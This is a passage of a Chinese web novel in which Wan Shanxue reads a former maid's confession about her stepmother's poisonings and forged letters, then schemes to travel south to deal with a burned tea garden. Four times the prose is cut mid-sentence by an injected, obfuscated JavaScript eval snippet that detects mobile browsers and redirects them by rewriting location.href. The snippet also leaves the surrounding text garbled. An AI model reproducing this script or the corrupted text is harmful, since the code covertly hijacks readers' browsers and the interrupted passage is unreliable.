玉牌温润，刻着简单的云纹，中间一个小小的“黎”字。 “花露那丫头在楼上等着见你，嬷嬷会领你去。” 她转身往外走，手碰到门帘时，身后又传来老将军的声音：“万姑娘。” 她回头。 “保重。”他看着她，目光深沉，“长夜需要有人醒着，让死的人不白死，活着的还想活，这就够了。” 最后那句话，他说得很轻，像是说给自己听的。 万山雪重重点头，掀帘而出。 * 门开了，万山雪愣怔在原地。 是花露，可是分明变了个人儿。 眼前的女子穿着干净素雅的淡橘色袄裙，头发梳理得整整齐齐，虽然面上那些狰狞的疤痕仍然蜿蜒，可她笑容恬静，平添了几分祥和。 最叫人惊讶的是她的眼睛，便是当初在万家做大丫头时，也不曾有过这样的清澈沉静，那是历经世事、终于放下的淡然通透。 她暗道，将军府里的平和气度，竟已到了人传人的地步。而今方知，何为“润物细无声”。 花露后退两步，对着万山雪端正跪了下去。 她快步上前扶起，故作嗔怪道：“你要这样没完没了地跪下去，我可不敢再见你了。” 花露转身端过来一个木匣，里面是厚厚一叠纸，捧给万山雪，有一种郑重的托付。 字写得极好，端正清丽，若非亲眼所见，很难相信出自这样残缺的手。 “奴自幼时因会写字得太太青眼，留在身边伺候，故而对前事知之甚多，亦做下许多罪孽。未出阁时，先夫人与大舅老爷就以聪慧卓越、人品贵重名动远近，将二舅老爷与太太这一双庶出儿女给比了下去。每逢人来客往，只许先夫人兄妹出来迎接，日常用度亦有偏颇，太太私下颇多恨意，祸根自此深种。” “先夫人病重之际，她在家里拍手称快，而后常借着探望之机与老爷接触，在老太太跟前扮作姐妹情深，却趁无人时在先夫人耳边说些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921019|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不堪入耳之语。先夫人顾忌大姑娘与大公子年幼，又见老爷老太太极信其为人，每每隐忍不发。” “太太嫁进万家之前，我曾大胆问过她，那样心高，怎会甘愿为人续弦？她说，她要力证，她不仅活得过先夫人，在御夫持家、教育子女等方方面面上，都要优于先夫人。而一旦嫁进万家，大姑娘姐弟二人的命运，就掌握在了她掌心里。” 看到这里，万山雪的脊背上窜起一阵寒意。 纵然早有心理准备，直面这般幽暗人心，仍觉毛骨悚然。 “往庙里之前，有一夜老爷喝醉了，想起先夫人种种好处来，抱着画像恸哭，嘱咐太太要为姑娘寻一门好亲事，备足丰厚陪嫁。太太心有不忿，面上却都答应了。与崔太太攀谈过后，太太命我取来了功德簿上崔姑爷的字迹，命我私下模仿。那些信笺，皆是由太太口授，我来执笔，礼物亦如是，而后装作传递密信予您。” “我当时不解，说太太既然不愿大姑娘过得好，崔家乃皇商，家底丰厚，又是独子，岂非良配？太太说寡母独子，姑娘嫁过去日子最是难熬，方知其用心之毒辣。不仅要设计得您非嫁不可，崔家非娶不可，还要坐实您私相授受之名。老爷起初不信，太太使人拿来崔二爷字迹对比，老爷彻底心灰。” 万山雪怔怔掉下泪来，勉强笑道：“我倒要为兰芬说一句公道话了。” 花露一怔，面露困惑。 “你同我一样，还是将人想得太好了。这世上，但凡有了后娘，亲爹，也就成了后爹。” 万山雪没有再说下去，却想起有一年母亲忌日，她在祖母屋里休息，听到祖母叱责父亲：“好歹是你先头夫人的忌日，你两口子在她灵前蜜里调油似的，笑声传出二里地，成何体统？” 万有善不以为然：“母亲太过虑了，不过为着锦儿绣儿两句孩童趣话发笑罢了。她死了，难道我从此就不许活了么？” 老祖母长叹一声说道：“罢了，看在她待这俩孩子还算尽心的份上，我不说了。锦儿绣儿有当娘的操心，你这个当爹的是不是该把心思往俩大的身上挪挪？兰芬虽是挑不出错的，可也溺爱太过了，将来怎么好。” “母亲当真是自寻烦恼，孩子们各有各的命数，既不曾薄待他们，还要怎么做才叫好？再说，锦儿绣儿确实聪明伶俐，很是贴心，依我看，将来万家定是要交到锦儿手里去的。” 祖母不悦：“你见了他两个，连说带笑的，他们在你面前自然是更胆大活泼。到了这俩孩子跟前就板着脸，不是训诫便是沉默，孩子吓得避猫鼠一样，当爹的不反思自己一碗水端得歪斜，倒去怪孩子。” 万有善颇为不耐，语气也硬了起来：“母亲这话好没道理！孩子各凭造化，哪个有出息，哪个能给家门添光，做爹娘的自然偏疼些。锦儿绣儿自小就显出聪明伶俐，读书习武都像模像样，这才是万家的指望！至于雪儿毓儿……” 他停顿片刻，声音压低了些，却更清晰刺耳：“一个刁蛮，一个蠢笨，与我总隔着墙似的。难不成要我放着眼前两个有指望的不管，反倒去疼他两个不成器的？这世道，终究是看谁有本事、谁有造化。他们若自己立不起来，任谁心疼也是白费！” 说完他就转身离去，脚步声又冷又硬，像腊月里冻实的冰棱，一下下凿在人心上。 60. 第 60 章 万山雪的目光在纸页上停留了许久，才慢慢往下移。接下来的字迹墨色愈深，力透纸背。 “回想起来，春草嬷嬷待姑娘与公子之心，实与生母一般无二。嬷嬷常伴先夫人身侧，必然早就知道这其中曲折，故而时时提防着。只可惜，以嬷嬷之善，实难料到她所发现的‘私相授受’不过是一个阴谋，提前设好的圈套罢了。她以为抓住把柄，将此事往大了闹去，倒是如了太太的心意。” “后来种种，姑娘大抵都已知晓，只恐遗漏关其中窍，容我赘述一遍罢。她一面劝老爷莫要动气伤身，一面声声泣诉，说‘我呕心养大的姑娘，断不可能做出此等下作之事’，暗地里一迭声命人去取崔姑爷的字迹来对比。明面上为您洗脱，实则将事情坐得瓷瓷实实，再无回旋余地。同时摆足了慈母做派，哭着劝姑娘想开，又不忘下死手责罚我。” 那一日的万家有多鸡飞狗跳，万山雪记得分明。 兰芬当着众人将花露掌掴在地，厉声斥骂“背主忘恩，心思龌龊，竟敢私相传递、败坏姑娘清誉”，又命人拖出去着实打死。不知情的人看去，便认定这腌臜事全是花露一人鬼迷心窍，身为主子的她半分不知。 崔明之从前讽刺她“戏瘾大”，这话用在兰芬身上倒是贴切得很。 “我被拖到柴房关了一夜，心里一片冰凉，自忖此番必死无疑。不料第二日，太太独自来了。” 记述在此停顿，墨迹晕染一大片，想来是哭过。 “太太说，事已至此，我在万家是留不得了。但念在我服侍她一场，又知晓进退，她愿意说服老爷将我放出去，还会为我寻一门好亲事，对方是殷实人家，虽年纪略长些，但知冷知热，嫁过去便是正经娘子，总好过为奴为婢，或将来年纪大了，胡乱配个小厮。” “我当时惊魂未定，一听她愿意为我长远考虑，如溺水之人抓住浮木，只有感激涕零的份。我跪地赌咒发誓，绝不敢透露半分过往。太太亲手扶我起来，搂着我万分难舍，说当年春草嬷嬷不知廉耻跟人私奔，有难处时先夫人尚且将其接回，何况我这样忠心于她。” “伤好之后，明面上我就被逐出家门了。随身的包袱里，是太太赏的新衣并二十两银子，我以为这便是新生。离开之前，春草嬷嬷找到我，说她恨我所做之事，却担忧我孤零零出去，将来日子不好过，给了我她辛苦积攒的二两碎银子。那一刻我后悔了，一冲动几乎将真相说出来，却没有那个胆量，只在给翠雀的书里夹杂了一些我写的字条，留下些痕迹。我想便是将来被发现了，兰芬最多怪我一个疏忽大意。” “见到陶谦的那一刻，我如坠冰窟，彻底看清了兰芬，只是为时已晚。后来的腌臜事，我就不说了，恐污了姑娘眼睛。” 万山雪猛地闭了闭眼，胸口一阵翻涌的恶心悲愤。兰芬此计，何其毒也！ 既处置了知晓秘密的眼中钉，又送了陶谦一个人情，更断绝了花露任何可能攀咬的后路——一个因犯错被驱逐出门的丫鬟，谁还会信她的话？ 即便说了，万家也可反诬她蓄意报复，简直易如反掌。 “那两年，如同活在牢笼里，虽命如草芥，可不到万不得已之时，我并不愿寻短见。甚至与陶谦商量，倘若得了女儿，能否留在我跟前儿养着，他高兴时便答应了。后来，我真的生了个女孩，可高兴坏了，我想，我这样卑贱之人，也有自己的亲骨肉了，老天待我真好。那么柔软的小团团依偎在我怀里，我还没来得及亲亲她，给她想个可爱的小名儿，她就被陶谦夺走，就当着我的面，溺毙在了尿桶里。” “此后我精神恍惚许久，耳边日日夜夜都是女儿的哭声。我曾试图逃走，没成。被陶谦逼着又怀上身孕，他找了几个大夫和风水先生看，都说这回准是男胎。他便承诺，我若能好好儿生下这个孩子，就放我走。我自然不会再信，可我想活下来，想为女儿报仇。姑娘，我可以贱如尘泥，我的孩子不能，她是我拿命换来的，是我心尖尖上的肉。” “九死一生，遂了陶谦之愿，生下男孩。门外贺喜声不断，他夫妇喜笑颜开。而我如同取走莲子的残蓬，连原先的小院也不配住了，被扔到了乡下没人住的破屋里自生自灭。听送我的小厮说，原是要杀我的灭口的，是陶谦的夫人莫名发了善心，说孩子喜日子，见血不好，容我多活几日。” “我躺在那里，看着老鼠在梁上乱窜，心想，这便是报应吧。我当初帮助兰芬干那些伤天害理的事，合该有此下场。该跟姑娘说说嬷嬷的事情了。嬷嬷自先夫人去后，每日烧香拜佛，排解哀思。起初兰芬并未起歹心，直到老太太去世后，嬷嬷怕您和公子受委屈，事事处处维护得密不透风，兰芬气急败坏，便命我与秋禾在分给嬷嬷的线香里，一一掺上红信石粉。” “红信石粉？”万山雪头一次听说，她诧异地看着花露。 花露比划着让她往下看。 “以梨汁稀释之后均匀涂抹在线香上，一经高温燃烧就会释放剧毒。剂量虽微，可是抵不住日日夜夜熏染。故而姑娘大婚前，嬷嬷被气得出家，兰芬还苦苦阻拦，非是好心——生怕换了环境，嬷嬷症状不治而愈，此事会被人发觉。可是砒霜之毒，早已沁髓入骨了。” 读至此处，万山雪心如刀绞，那时她已经完全亲兰芬远乳母了，极少往她房里去，更没机会发现这等毒计。 “第二日睁开眼，我还活着，我就想，既然老天不收我这条烂命，许是我的任务还未完成。余下人生，一为报仇，二为赎罪。可待我千辛万苦熬到京城，去崔家寻姑娘时，却听说嬷嬷去世，您也受了伤，只好小心地躲着，如阴沟老鼠，只敢夜里出来找点吃的。偏是那么不巧，撞见了兰芬。” “我知道，我活不长了。一个知晓太多秘密、又再无利用价值的人，对她而言，是必须抹去的污点。他们摸清楚我藏身地点，灌哑药，拿刀砍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928738|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，纵火烧……想尽一切办法要除去后患。故而很抱歉，姑娘，我找到您又延迟了些时间。那日，我原是要去找红璎的，可这丫头腿脚太麻利，我实在等不及了，恐怕哪一日丢了性命，这秘密也就永远石沉大海了。我心一横，去抓了离得近的秋禾。天可怜见，总算是撞见您了。” “从前一心一意想着报仇，夺回孩子。可蒙姑娘相救，在将军府里待了这些日子，我渐渐转了念头。孙夫人代我瞧过，他们将孩子养得不赖。我想等姑娘揭穿他们的真面目之后，看看若有机会抚养他自然好，若是不能，能跟着姑娘做些力所能及之事，亦算是减些罪孽。自然，若是姑娘不愿见我，我自会远远避开。” “这一生，我亏欠您的，是永远还不清了。” 纸尽。 万山雪缓缓合上木匣，仿佛抱着千斤重的过往。 她静坐良久，一动不动。炉火熊熊，茶盏温热，寒意仍是从四肢百骸渗进来，砭人肌骨。 花露安静地坐在对面，目光平和地看着她，那双曾盛满恐惧绝望的眼睛里，如今只剩下淡淡的哀戚，与近乎涅槃后的沉寂。 真相的重量，有时候足以压垮一个人对世道与人心的全部想象。 万山雪此刻便觉得，自己过去十数年所认知的那个“家”，那些由兰芬刻意营造出来的温情假象，正在眼前寸寸龟裂，露出底下狰狞丑陋、盘根错节的黑暗根须。 而花露，只是被那黑暗吞噬、又侥幸吐出的牺牲品中的一个。 她看向花露，千言万语堵在喉头，最终只化作一句： “我明白了。” 声音干涩，却异常坚定。 “这份证词，我一定会想法子让它得见天日。你好好在这里活着。” 花露起身，再次深深一福，没有言语。 临出门前，老将军命黎偃成取下一件黑色大氅给她：“雨夜寒，披上这个，你的狐裘太显眼。” 万山雪接过披在身上，大氅蓄满温暖，裹住了她冰凉的身躯。 重新走入雨中时，她回头看了一眼。老将军坐在轮椅上，可身姿依然挺拔如松。 她颔首一笑，低头看了看自己的双手。 如今她手里握着两把刀——一把斩向娘家，一把斩向夫家。无论哪一把落下，都注定血光四溅。 每一步都踩在冰冷破碎的过往之上，迈向那不可知却必须去面对的未来。 她知道，从此刻起，有些路，她必须独自走下去；有些账，她必须亲手去清算。 前方，崔记杂货铺的后门在雨中隐现。檐下挂着的灯笼在风中摇晃，投下一圈昏黄朦胧的光。 万山雪停下脚步，在阴影里驻足片刻。她整理好衣襟，将所有的情绪压进眼底最深处，而后才推门而入。 门在身后轻轻合拢，隔绝了夜色，却隔不绝她脚下那刀光剑影的路。 天，就快亮了。 61. 第 61 章 雨渐渐歇了，檐角断续滴着水，敲在石阶上，一声声，空寂得很。 丰德捧着几本账册往堂前去，在看见万山雪的那瞬间站住了。 门上悬着的灯笼在湿风里微微晃着，映得他的脸忽明忽暗。 院子里静悄悄的，伙计们都在前堂忙活。 他看着她，眼神里没有询问，只是沉静如水的等待。 万山雪看着这个在崔家待了三十来年的人，微微佝偻的背，过早的老态，忽然开口：“丰叔，您兄长的事……我看到当年的记录了。” “黑山峪一战，骁骑营步卒丰年，景和十八年九月初七战死。”她一字一句道，“抚恤银十两。当年国库空虚，实在拿不出多的了。黎老将军的大哥在底下注明您家中艰难，要家人补贴二十两，以朝廷名义一并发放。” 丰德的眼眶瞬间红了，嘴唇有些哆嗦。 “在您之外，也有人一直记着他。”万山雪轻声道，“黎老将军说，他很惭愧，这些年变故太多，再不愿触动往日伤心事，也不曾给您和家人后续的帮助。将来有他一日，就护您和家人一日。” 丰德的眼泪滚落下来，他慌忙用袖子去擦，却越擦越多。 万山雪喉头哽住，再说不出安慰的话。 许久，丰德才慢慢止住泪。他用袖子狠狠抹了把脸，深吸一口气，重新站直了身子。那双哭红的眼睛，变得更沉静坚定。 他深深一躬，抱起账册，慢慢往后院去了。 万山雪站在原地，看着他的背影消失在月洞门后。 晨曦升起，光落在湿淋淋的青石地上，溅起明晃晃的光芒。 上楼梳洗罢了，不觉困倦，便又走到前厅来帮忙，可巧瞧见崔家马车在门前停住，定睛一看，下来的竟是珊瑚。 珊瑚急匆匆施了一礼，便将她引到一边说道：“二奶奶，您赶紧回去一趟，昨儿接到晋陵老家来信说，茶园出大事了。说是十来日前的深夜走了水，火借风势，将大半片山头的茶树连同去年才翻修的制茶工坊，烧得一干二净。” “茶园防火向来是重中之重，这恐怕不是天灾吧？” “信上说，已经报了官，可一夜烧过去，便是人为的，痕迹也给烧没了。太太看完信就晕厥过去，请了大夫，说是急火攻心，痰气上涌，必须静养，万万再受不得刺激。这会子吃了药，还是昏昏沉沉的，气息弱得很。二奶奶您瞧，偏就卡在这个节骨眼上，二爷去了东洋，三位大掌柜，两位都不在京……” 听到这里，万山雪已然明了。 晋陵这片茶园，乃是尤氏的陪嫁之一，是她半生心血，也是崔家的一块老招牌。 茶业竞争素来激烈，崔家茶园因着水土极佳，加之历代不断改良出彩的制茶手艺，所出产的几种精品茶饼在江南乃至京城都颇有声誉。每年还未到采收季节，就早早被预定完了，根本不愁卖。惹人眼红嫉恨也不奇怪。 可相隔千里，究竟是谁，偏能选在这个当口下手？ 烧过的茶园几年之内都无法再种，另一半虽未烧毁，可经过高温，也很受影响，翻过年就是春茶采收，这场损失不可估量。 眼下，崔家培养的得力伙计里，能即刻南下主持大局的，不是没有，只是以尤氏的心肠，未必放心得下。 她与丰德说明情况，即刻登车，一前一后跟着珊瑚回了崔家。 马车里，珊瑚望着万山雪欲言又止。 她看在眼里，伸手握住她的腕：“我嫁进来这几年，若不是你实心实意待我，我还不知得不得活到今日呢。你我之间，有什么不能说的？” “我前儿瞧着采萍那丫头一脸愁闷，一问才知道，乌姑娘这个月的月信儿没来。” 珊瑚满脸难为情，“可是我悄悄问了府里嘴牢的嬷嬷，她说便是真的，也还不到日子，把脉只怕也看不出什么来。只是想提前告诉您，心里多少有个准备。” 万山雪笑笑：“那是好事儿。万一是真的，太太的心病起码好一半。” “那二奶奶您到时候该如何……” “眼下，我也说不出个条理来，可是我知道，在我决定出来时，很多人都以为我不过是耍性子，等着二爷来哄我。我同你说句掏心窝子的话，既迈出来了，打心眼里我就没想着再回去。” “确实如此，连太太亦认为您对二爷一往情深，过些日子气消了就回去了。您说不回家去，往后终不成就在铺子里过一辈子，任由她鸠占鹊巢么？” 万山雪笑道：“鸠也好，鹊也罢，由她去吧。我只知道，我在那院里待不下去，那便先出来。往后的事儿，往后再说吧。” 崔府里人人轻手轻脚，面色凝重。乌思羽守在尤氏门外，见万山雪来了，她脸色僵住片刻，还是迎了上来：“表嫂。” 万山雪早就听红璎打听到，说那晚之后，尤氏虽立刻给乌家写信议亲，预备待崔明之回来就要办喜事，却也十分生气乌思羽自作主张，对她总是淡淡的，不似从前那般疼爱。 万山雪没有看她，回头对丰德点点头，径直往房里去。 室内药气微苦，尤氏躺在床上，面色苍白。往日梳理得一丝不苟的鬓发有些散乱，眼下透着青灰，竟似老了十岁。她睡得并不安稳，眉头紧蹙，呼吸短促。 万山雪在床前默默站了片刻，轻声问卫嬷嬷：“太太醒来时，可有吩咐？” “太太只说‘速唤大爷回来’，便泪流不止，再说不出话。可大爷出海，音信难通，哪是说回就能回的？丰大掌柜虽然在京，可京城这一摊子离不开他，尤其年关将近，各处账目、货物流转、人情往来，真真千头万绪。” 万山雪沉默片刻，眼中渐渐凝起决断之色，她嘱咐两句，便转身出来。 丰德连忙迎上来问道：“二奶奶，太太这会子如何？” 万山雪将他引到花厅去，摇头说道：“还是气恼着了，我瞧着精神不好。丰叔，南方茶园被烧之事，您怎么看？” 丰德苦笑道：“觊觎崔家茶园和制茶秘法的人不少，此番必是见有机可乘，下了黑手。” “京城到晋陵千里之遥，二爷才走不到一个月光景，茶园是十来日前烧毁的，他们这分明是得了信儿就动手，一刻也没耽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943090|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 误。既知人为纵火可能性极大，想来顺藤摸瓜，查明真相也不难。” “很难。”丰德摇头，“纵火之事，除非当场拿住，或有铁证指向，否则凭些油渍痕迹，官府也难定罪。我们如今最要紧的，是稳住局面，要安抚茶农工户，清点损失，防止有人趁机挖走我们的老师傅，更要紧的是，还要决定茶园今后如何办——是重建，还是……割舍？” 他说到“割舍”二字，声音艰涩。 谁都明白，若就此放弃，不仅损失巨大，尤氏怕也承受不住。 “丰叔，”万山雪下定决心，“京城生意离不开您坐镇，太太也需人照料。南下处理茶园事宜，我去。” 丰德猛地抬头，眼中满是惊愕：“这如何使得？” “丰叔且说来我听听，如何使不得。”万山雪淡淡笑道。 “晋陵情势复杂，您一个内宅妇人……二奶奶别误会，我断没有轻视您的意思。那里虽是太太娘家，可是舅老爷家里早大不如从前，故而旁人才敢欺压到头上来。眼下那边不太平，去了面对的不仅仅是茶园兴废之事，要与官吏乡绅周旋，与竞争对手相抗，这都是能想到的冰山一角，真实情况只怕糟糕百倍。您只身前去，万万不行。” “内宅妇人，也是崔家媳妇，是二爷的妻子。”万山雪打断他，目光清亮，“崔家有难，我岂能坐视不理？我虽不曾亲自经营过茶园，但自小识字，跟着您在铺子里耳濡目染这些日子，多少见识些机变之策。何况，” 她顿了顿，“有些事，未必只有男子才做得。我去了，至少能代表崔家，稳定人心，查明实情，再做决断。总好过群龙无首，任人宰割。” 丰德看着她沉静坚定的面容，一时语塞，支吾道：“我答应过二爷，会照顾好您，这会子把您只身丢到豺狼虎豹窝里，待二爷回来，我交不了差。” “我意已决。”万山雪斩钉截铁，“请丰叔为我挑选几位得力可靠的伙计，再给我一份给当地官府、舅老爷家，还有与尤家交好的乡绅的礼单。待太太醒来，我便去请命，尽快启程。” 丰德见她神色坚决，知道再劝无用，且眼下确实别无良策，只得深深一揖：“此事最终还是要太太吐口才行。” 万山雪点头：“届时有劳丰叔为我美言几句。” 她离开花厅，并未回自己院落，又去了尤氏屋里。 尤氏已然醒转，正靠在床头，由珊瑚喂着药，神色憔悴极了。 万山雪上前，行了礼，将南下之请清晰道来。 尤氏听罢直接拒绝，病中之人，声音便没了往日的杀伐果决：“不行，你哪有经商经验？要你去，还不如思羽去呢。” 许是反应过来这话不对，她又讪讪找补道，“她好歹在生意上见识得比你多些。” “若论能力，儿媳自然是没法子与思羽相提并论的。”万山雪垂下眼睫说道，“只是，儿媳方才听妹妹说，这个月月信还没来，只怕母亲真派她去了，到时候多有不便。” 尤氏惊得一下子坐直了身子，险些打翻珊瑚手里的药碗：“你……你说的可是真的？” 62. 第 62 章 尤氏的声音抖得厉害，原本暗淡的眼神忽地绽放神采，两手死死攥着万山雪的手腕，指甲几乎掐进肉里。 她吃痛，轻轻抽出手来，郑重里掺入一丝哀伤：“儿媳也是才听妹妹房里的丫鬟无意间漏了一句，还需过些时日才能确证。” 尤氏脸上霎时涌起一阵狂喜，那喜色来得又快又浓烈，竟将茶园被毁的痛心都压了下去。 “母亲留心着，若是真的，就早做准备，免受那起子小人口舌之烦，就是二爷回来了，也是欢喜的。” 此话一出，尤氏难掩的欣喜若狂之色转瞬添上了一重尴尬。这孩子的存在，是对眼前正妻最尖锐的讽刺。 “好孩子，你受委屈了。可你到底还年轻，我瞧明之如今待你分外上心，夫妻感情和睦，孩子是早晚的事儿。”尤氏拍了拍她的手背。 万山雪轻轻摇头，目光坦然迎上：“有母亲这句心疼，便不算委屈了。这些日子我在铺子里，亲眼见着生意运转何等不易，才知母亲这些年独自撑着崔家、拉着二爷有多辛劳。也更能体谅，母亲何以对子嗣这般看重——这份浸透心血的家业，总不能断了根脉。” 她边说边留意尤氏神色，见对方面露慰藉，便趁热打铁说下去：“不瞒母亲说，二爷临行前，曾到铺子里寻我致歉。他说无论将来怎样顾念表妹，总会给我应有的体面与尊重，还特意嘱咐丰叔和伙计们照应我。不怕母亲笑我痴傻，身为妻子，这些年未能为崔家开枝散叶，我心中早有愧意。放眼望去，谁家郎君不是三妻四妾的。能得夫君这般承诺，那点怨气也就散了。这孩子总归是我夫家血脉，便也是我万山雪的孩子。” 她越说越顺，自己都诧异，何时竟练就这般本领，将这冠冕堂皇的话说得如此自然恳切。 尤氏慨叹道：“那日你要到铺子里去，我只想着你是气头上，去三天两日的换换心情，觉着乏味，自然就回来了。不料竟听丰德说，你日日勤勉上心，从不曾依仗主母身份干涉生意之事，还有了这番心得，当真是叫我惊喜又心疼。” 万山雪这才明白，尤氏放心她去铺子里，原因并不复杂，只是觉得她是个草包，未必能熬下来，更不用说有脑子发现什么猫腻。 她反握住尤氏的手，声音放得更软：“母亲定要稳住心神，快些好起来。咱们不能眼睁睁看着根基被歹人毁了，让后代无枝可依。南下处理茶园的事，请您信我一次。若真能为崔家做些事，二爷回来时，或许也能高看我两分。往后天长日久的，他总能念着我这点好处，日子也好过些……就当是母亲疼我了。” 说到此处，她适时垂下眼，睫羽微湿，坠下两滴泪来。 透过朦胧泪光，她瞥见尤氏神色彻底软化下来。便知道，此事已稳了五六分。 茶园危机迫在眉睫，崔家无人可用。而她递上的，不仅是南下解困的请求，更是一份对“崔家有后”之事的沉默承诺——她不会闹，她识大体，她甚至愿以主母之姿去维护这个家族，包括那个令她难堪的胎儿。 良久，尤氏长叹一声，紧紧回握万山雪的手：“好孩子，是我们对不住你。眼下，崔家真的要靠你了。再得力的掌柜，终究不姓崔，此时由你出面，最能稳住人心。” “母亲言重了，这是儿媳的分内之事。” “但有几件事，你必须应我。” 尤氏神色转为凝重，“第一，凡事以自身安危为重，你是个实心眼的孩子，初识人心险恶，万事谨慎。第二，所带人手务必精干可靠，这个我来给你办妥。第三，每日设法传信回来，事无巨细，我要知晓。第四，局面一旦稳住，立即返程。” 她顿了顿又道，“至于京中，还有万家，我会替你看着，放心就是。” “儿媳明白，谨记母亲吩咐。”万山雪恭顺行礼。 “至于行程所需，直接找丰德，他知道该怎么做。”尤氏疲惫地阖上眼，摆了摆手，“去准备吧。” 万山雪退出正房。廊下冷风扑面而来，她背脊微微一直，方才在婆母面前伪饰的面具顷刻碎裂消散，只余下满腔兴奋。 她起初并未想过利用乌思羽孕事谈判，只是话赶话到了那关口，脱口而出，竟成了撬动尤氏心防、换取自由最意外却也最有效的一枚棋子。 她原以为会感到屈辱刺痛，可竟没有，一丝也无。唯有即将离开京城，远离崔家这座牢笼，去迎接新生的轻松。 崔家茶园那把火，烧的真是时候。像老天爷递来的一份厚礼。 回到自己院子，红璎早已点起暖炉，室内暖意融融，可她踏入房门，环顾四周，仍忍不住打了个寒噤。 从前是魔怔了吧？ 竟那样心甘情愿将一生锁在这四方屋里，只盼着崔明之偶然施舍的一个笑脸。 如今看去，方才明白何谓画地为牢。 她将南下之事告知红璎，嘱咐道：“行李务必精简，可带可不带的，一概留下。” 红璎有些犹豫：“好些衣裳料子都是奶奶平日心爱的……” 万山雪微微一笑：“有换洗的就够了。只带钱，或能变成钱的东西。” 这时，刘嬷嬷打帘进来，捧着一封请柬：“二奶奶，咱们太太那边下了帖子，说后日设宴庆贺二公子高中举人，请姑奶奶务必拨冗回府一聚，共享荣光。” 捏着那封大红洒金请柬，万山雪笑了。 真真是运气好，得来全不费工夫。 她正在心里筹划，此去晋陵至少半载，行程仓促，该如何寻个合适的场合将那件事公之于众。 这喧腾热闹、宾朋满座的庆贺宴，可谓是绝妙良机。 兰芬最重脸面，最擅在众人眼前扮演贤妻良母、慈爱继母；万有善向来以家庭和睦、妻贤子孝自得。那便在他们最风光得意之时，当着所有“亲朋好友”的面，将那袭华美的遮羞布，狠狠撕开。 她仔细收好请柬，低声对红璎吩咐了几句。 午后，她又去尤氏房中坐了片刻，便乘车前往兰家告别。 舅母黄夫人一见她便拉住手，眼中满是关切： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947735|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “脸色怎这般不好？可是这几日没歇好？” 正说着，舅舅兰中正也从书房踱出。一身靛蓝家常直裰，清癯的脸上带着温煦笑意，目光却锐利，一眼看透外甥女眉间隐忍的沉重：“可是出了什么事？” 万山雪未有隐瞒，从乌思羽之事说起，到茶园被焚、婆母病倒、自己决意南下，一一娓娓道来。只是关于金弘私运兵器一节，暂且按下未提。 兰中正听罢，捻须沉吟良久方叹道：“崔家此时确是多事之秋。你一个女子，肯在此刻挺身南下，胆识可嘉。只是……” 他看向万山雪，目光清明如镜，“雪儿，你此去，恐怕不单单是为了一片茶园吧？” 万山雪心下一震，垂眸不语。舅舅的敏锐，她向来深知。 “此去艰险，但舅舅赞成你去。莫要因身为女子，便将自己困于被动之地，多出去见识见识，对你只有好处。晋陵茶市，龙蛇混杂。那几个有名的茶园主子，我也略有耳闻，皆是难缠的滚刀肉，与这些人周旋较量，那是要扒两层皮下来的。” 兰中正语速放缓，字字清晰，“你虽有决断，毕竟年轻，又不曾出过远门，于当地人事终究生疏。我昔年在南边为官时，倒结识过几位品性正直、颇有能耐的故交。” 他取过信笺，略一思索，挥毫便写就两封。待墨迹干透，仔细封好，递与万山雪。 “这一封，是给一位姓闵名守拙，字朴存的老先生。他是徽州歙县人，现居晋陵。无官无职，一介布衣，然于稼穑种植，尤其是茶树栽培管理一道，堪称国手。其家族世代事茶，他本人更是痴迷此道，踏遍南北茶区，对土壤、气候、树种、制艺皆有极深见地。我当年与他相识，深敬其为人学识。他性子有些孤高，不慕权财，但重信诺讲情义。你持我信去见他，若能得他指点或相助，于茶园重建乃至日后经营，必有大益。” 万山雪郑重接过。 信封上“朴存兄亲启”五字，墨迹苍劲如松。她心头暖流涌动，这薄薄一信，胜过千金。 “这另一封，”兰中正又道，“是给晋陵衙门的一位刑名师爷，姓宋，与我有同窗之谊，人品端方。你若遇需官府交涉或查访纵火线索之事，可持信拜会，他或能行些方便。切记，虽有这层关系，亦不可任性妄为。凡事依法依理，证据确凿，方是正道。” 